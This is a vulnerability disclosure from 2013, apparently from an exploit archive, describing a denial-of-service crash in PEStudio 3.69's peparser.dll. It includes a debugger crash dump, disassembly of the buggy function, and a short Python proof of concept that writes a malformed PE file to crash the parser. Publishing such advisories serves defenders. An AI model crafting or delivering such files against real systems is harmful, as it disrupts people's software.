PEStudio 3.69 – Denial of Service
# Title: PEStudio Version 3.69 Denial of Service # Date: 5th June 2013 # Author: Debasish Mandal ( https://twitter.com/debasishm89 ) # Blog : http://www.debasish.in/ # Software Homepage: http://www.winitor.com/ # Version: PEStudio Version 3.69 # Tested on: Windows XP SP2 / Windows 7 # Vendor Patch : Recently released stable version (v6.91) is not affected. ''' [+] Affected Module : peparser.dll version 3.69 [+] Crash Point: (6b4.17c): Access violation - code c0000005 (!!! second chance !!!) eax=00000000 ebx=41414141 ecx=013f41d9 edx=013f0080 esi=00000000 edi=00004141 eip=3001ce70 esp=0012d15c ebp=00a26100 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000206 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Documents and Settings\debasish mandal\Desktop\Tools\PeStudio369\PeParser.dll - PeParser!PeParser::IPeParserFactory::Destroy+0xf1d0: 3001ce70 8b510c mov edx,dword ptr [ecx+0Ch] ds:0023:013f41e5=???????? 0:000> u eip PeParser!PeParser::IPeParserFactory::Destroy+0xf1d0: 3001ce70 8b510c mov edx,dword ptr [ecx+0Ch] 3001ce73 3bda cmp ebx,edx 3001ce75 7209 jb PeParser!PeParser::IPeParserFactory::Destroy+0xf1e0 (3001ce80) 3001ce77 8b6908 mov ebp,dword ptr [ecx+8] 3001ce7a 03ea add ebp,edx 3001ce7c 3bdd cmp ebx,ebp 3001ce7e 720c jb PeParser!PeParser::IPeParserFactory::Destroy+0xf1ec (3001ce8c) 3001ce80 46 inc esi [+] IDA Pro Snap of the Buggy Function:(Code from peparser.dll version 3.69) .text:3001CE40 sub_3001CE40 proc near ; CODE XREF: sub_30003510+154p .text:3001CE40 ; sub_300184D0+4Bp .text:3001CE40 mov ecx, [ecx+4] .text:3001CE43 xor eax, eax .text:3001CE45 test ecx, ecx .text:3001CE47 jz short locret_3001CE91 .text:3001CE49 mov edx, [ecx+1Ch] .text:3001CE4C movzx ecx, word ptr [edx+14h] .text:3001CE50 lea ecx, [ecx+edx+18h] .text:3001CE54 test ecx, ecx .text:3001CE56 jz short locret_3001CE91 .text:3001CE58 test ebx, ebx .text:3001CE5A jz short locret_3001CE91 .text:3001CE5C push esi .text:3001CE5D push edi .text:3001CE5E movzx edi, word ptr [edx+6] .text:3001CE62 xor esi, esi .text:3001CE64 test edi, edi .text:3001CE66 jle short loc_3001CE8F .text:3001CE68 push ebp .text:3001CE69 lea esp, [esp+0] .text:3001CE70 .text:3001CE70 loc_3001CE70: ; CODE XREF: sub_3001CE40+46j .text:3001CE70 mov edx, [ecx+0Ch] <-- Crash .text:3001CE73 cmp ebx, edx .text:3001CE75 jb short loc_3001CE80 .text:3001CE77 mov ebp, [ecx+8] .text:3001CE7A add ebp, edx .text:3001CE7C cmp ebx, ebp .text:3001CE7E jb short loc_3001CE8C .text:3001CE80 .text:3001CE80 loc_3001CE80: ; CODE XREF: sub_3001CE40+35j .text:3001CE80 inc esi .text:3001CE81 add ecx, 28h .text:3001CE84 cmp esi, edi .text:3001CE86 jl short loc_3001CE70 .text:3001CE88 pop ebp .text:3001CE89 pop edi .text:3001CE8A pop esi .text:3001CE8B retn .text:3001CE8C ; --------------------------------------------------------------------------- [+] Proof of Concept : ''' # /usr/bin/python header = "MZ" header += "A"*58 header += "\x80\x00\x00\x00" header += "A"*3 header += "\x0e" header += "A"*60 header += "PE" header += "A"*235 f = open('POC.exe','wb') f.write(header) f.close() |